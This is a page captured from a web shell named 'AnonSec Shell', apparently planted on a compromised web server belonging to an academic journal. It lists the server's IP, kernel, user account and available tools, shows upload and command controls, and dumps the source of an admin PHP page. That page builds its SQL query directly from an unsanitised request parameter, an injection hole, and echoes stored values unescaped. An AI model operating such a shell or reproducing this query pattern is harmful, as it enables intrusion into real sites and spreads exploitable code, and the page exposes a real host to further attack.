AnonSec Shell
Server IP : 92.204.138.22  /  Your IP : 3.144.25.212
Web Server : Apache
System : Linux ns1009439.ip-92-204-138.us 4.18.0-553.8.1.el8_10.x86_64 #1 SMP Tue Jul 2 07:26:33 EDT 2024 x86_64
User : internationaljou ( 1019)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/internationaljou/SSRG-01-03-2024/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/internationaljou/SSRG-01-03-2024/admin//edit_specialissue_articles.php
<?php include("header.php");
include"config.php";
include("left-menu.php");
$id = $_REQUEST['said'];
$selectarticle = mysqli_query($conn,"select * from specialissue_article where sa_id='$id'");
$fetcharticle = mysqli_fetch_array($selectarticle);
?>
<noscript>
            <div class="alert alert-block col-md-12">
                <h4 class="alert-heading">Warning!</h4>
					<p>You need to have <a href="http://en.wikipedia.org/wiki/JavaScript" target="_blank">JavaScript</a>
                    enabled to use this site.</p>
            </div>
</noscript>
<script>
	//bkLib.onDomLoaded(function() {new nicEditor({fullPanel : true}).panelInstance('conference');});
	function validation()
	{
		
		//var nicInstance = nicEditors.findEditor('conference');
    	//var messageContent = nicInstance.getContent();
		var shortname = document.getElementById("shortname").value;
		var department = document.getElementById("department").value;
		var part = document.getElementById("part").value;
		var year = document.getElementById("year").value;
		/* if(messageContent=="<br>") 
		{ 
     		alert("Conference Name required");
     		document.spform.conference.focus();
     		return false;
   		} */
		if( shortname ===''){
			alert("Shortform required");
			return false;
		}
		else if( department ===''){
			alert("Department required");
			return false;
		}
		else if( part ===''){
			alert("Part required");
			return false;
		}
		else if( year ===''){
			alert("Year required");
			return false;
		}
		else
		{
			return true;
		}
	}
</script>
        <div id="content" class="col-lg-10 col-sm-10">
        <!-- content starts -->
        <div>
    		<ul class="breadcrumb">
        		<li>
            		<a href="#">Home</a>
        		</li>
        		<li>
            		<a href="#"> Edit Special Issue - Articles</a>
        		</li>
    		</ul>
		</div>
		<div class="row">
    	<div class="box col-md-12">
  			<div class="box-inner homepage-box">
            	<div class="box-header well">
                	<h2><i class="glyphicon glyphicon-home"></i>  Edit Special Issue - Articles Information</h2>
				<div class="box-icon">
                    <a href="#" class="btn btn-setting btn-round btn-default"><i
                            class="glyphicon glyphicon-cog"></i></a>
                    <a href="#" class="btn btn-minimize btn-round btn-default"><i
                            class="glyphicon glyphicon-chevron-up"></i></a>
                    <a href="#" class="btn btn-close btn-round btn-default"><i
                            class="glyphicon glyphicon-remove"></i></a>
                </div>
            </div>
			<div class="box-content">
                <ul class="nav nav-tabs" id="myTab">
                    <li class="active"><a href="#info">Articles Information</a></li>
                </ul>
				<form action="class.php" name="spform" method="post" enctype="multipart/form-data" >
				<div id="myTabContent" class="tab-content">
					<div class="tab-pane active" id="info">
                		<Br /><Br />
                       <div class="col-md-3 col-xs-12">
                      	
								<select class="form-control" id="shortname" name="shortname" required>
                                	<option value="">--- Select Short Name ---</option>
                                    <?php 
							    $shortnamelist = mysqli_query($conn,"select * from specialissue_conference");
								while($fetchnamelist = mysqli_fetch_array($shortnamelist))
								{
							?>
									<option value="<?php echo $fetchnamelist['sp_id'];?>" <?php if($fetcharticle['sc_id']==$fetchnamelist['sp_id']) { echo 'selected'; }?> ><?php echo $fetchnamelist['shortform'];?></option> <?php } ?>
								</select>
                      
                     </div>
                     
								<div class="col-md-3  col-xs-12">
								<!--	<input type="text" class="form-control" name="year" id="year" placeholder="Year" autocomplete="off" required > -->
                                 <select class="form-control" id="department" name="department" required>
                            		<option value="">--- Select Department ----</option>
                            <?php 
							    $departmentname = mysqli_query($conn,"select * from article_department");
								while($fetchdepartment = mysqli_fetch_array($departmentname))
								{
							?>
									<option value="<?php echo $fetchdepartment['dp_id'];?>" <?php if($fetcharticle['department']==$fetchdepartment['dp_id']) { echo 'selected'; }?> ><?php echo $fetchdepartment['department_name'];?></option> <?php } ?>
                       			</select>  
								</div>
					
                       
                      <div class="col-md-3 col-xs-12">
                      <select class="form-control" id="part" name="part" required>
                            <option value="">--- Select Part ----</option>
                            <option value="Part1" <?php if($fetcharticle['part']=='Part1') { echo 'selected';} ?>>Part 1</option>
                            <option value="Part2" <?php if($fetcharticle['part']=='Part2') { echo 'selected';} ?>>Part 2</option>
                            <option value="Part3" <?php if($fetcharticle['part']=='Part3') { echo 'selected';} ?>>Part 3</option>
                            <option value="Part4" <?php if($fetcharticle['part']=='Part4') { echo 'selected';} ?>>Part 4</option>
                            <option value="Part5" <?php if($fetcharticle['part']=='Part5') { echo 'selected';} ?>>Part 5</option>
                            <option value="Part6" <?php if($fetcharticle['part']=='Part6') { echo 'selected';} ?>>Part 6</option>
                            <option value="Part7" <?php if($fetcharticle['part']=='Part7') { echo 'selected';} ?>>Part 7</option>
                            <option value="Part8" <?php if($fetcharticle['part']=='Part8') { echo 'selected';} ?>>Part 8</option>
                            <option value="Part9" <?php if($fetcharticle['part']=='Part9') { echo 'selected';} ?>>Part 9</option>
                            <option value="Part10" <?php if($fetcharticle['part']=='Part10') { echo 'selected';} ?>>Part 10</option>
					  </select>
                      </div>
                      
                      <div class="col-md-3 col-xs-12">
                      	<!-- <input type="text" class="form-control" name="year" id="year" placeholder="Year" autocomplete="off" required > --> <?php //echo date('Y');?>
                        <select class="form-control" id="year" name="year" required>
                            <option value="">--- Select Year ----</option>
                            <option value="2010">2010</option>
                            <option value="2011" <?php if($fetcharticle['year']==2011) { echo "selected"; }?>>2011</option>
                            <option value="2012" <?php if($fetcharticle['year']==2012) { echo "selected"; }?>>2012</option>
                            <option value="2013"<?php if($fetcharticle['year']==2013) { echo "selected"; }?>>2013</option>
                            <option value="2014" <?php if($fetcharticle['year']==2014) { echo "selected"; }?>>2014</option>
                            <option value="2015" <?php if($fetcharticle['year']==2015) { echo "selected"; }?>>2015</option>
                            <option value="2016" <?php if($fetcharticle['year']==2016) { echo "selected"; }?>>2016</option>
                            <option value="2017"<?php if($fetcharticle['year']==2017) { echo "selected"; }?>>2017</option>
                            <option value="2018" <?php if($fetcharticle['year']==2018) { echo "selected"; }?>>2018</option>
                            <option value="2019" <?php if($fetcharticle['year']==2019) { echo "selected"; }?>>2019</option>
                            <option value="2020" <?php if($fetcharticle['year']==2020) { echo "selected"; }?>>2020</option>
                            <option value="2021" <?php if($fetcharticle['year']==2021) { echo "selected"; }?>>2021</option>
                            <option value="2022" <?php if($fetcharticle['year']==2022) { echo "selected"; }?>>2022</option>
                            <option value="2023" <?php if($fetcharticle['year']==2023) { echo "selected"; }?>>2023</option>
                            <option value="2024" <?php if($fetcharticle['year']==2024) { echo "selected"; }?>>2024</option>
                            <option value="2025" <?php if($fetcharticle['year']==2025) { echo "selected"; }?>>2025</option>
                       </select>
                      </div>
                      <br /><Br /><br />  
                     
                      <table class="table" id="dynamic_field" border="0">
						<tr>
                          <td>
                       		<input type="text" class="form-control" name="title" id="title" 
                            value="<?php echo $fetcharticle['title'];?>" placeholder="Enter Title" autocomplete="off" required>	
                       	  </td>
                      	  <td>
                       		<input type="text" class="form-control" name="author" id="author"  value="<?php echo $fetcharticle['author'];?>" placeholder="Enter Author Name" autocomplete="off" required>
                          </td>
                      	  <td>
                       		<input type="file" class="form-control" name="pdf" id="pdf" placeholder="pdf" autocomplete="off" accept=".pdf" ><?php echo $fetcharticle['pdf'];?>
                            <input type="hidden" class="form-control" name="said" id="said" value="<?php echo $fetcharticle['sa_id'];?>">
                          </td>
                          <!--
                          <td>
                       		<button type="button" name="add" id="add" class="btn btn-success">Add More</button>
                       	  </td>
                          -->
                        </tr>
                      </table> 
                     </div> 
                     <div class="col-md-3  col-xs-12"></div>
                        <div class="col-md-4  col-xs-12">
                        	<button type="submit" name="update_specialissue_articles" value="Update"  onclick="validation()"  class="btn btn-success" >Update</button> 
                        	<a href="specialissue.php"><button type="button" class="btn btn-success" >cancel</button></a>
                        </div>
                 </div>					
		</form>
    </div>
  </div>
</div>
</div>

<?php include("footer.php"); ?>

Anon7 - 2022
AnonSec Team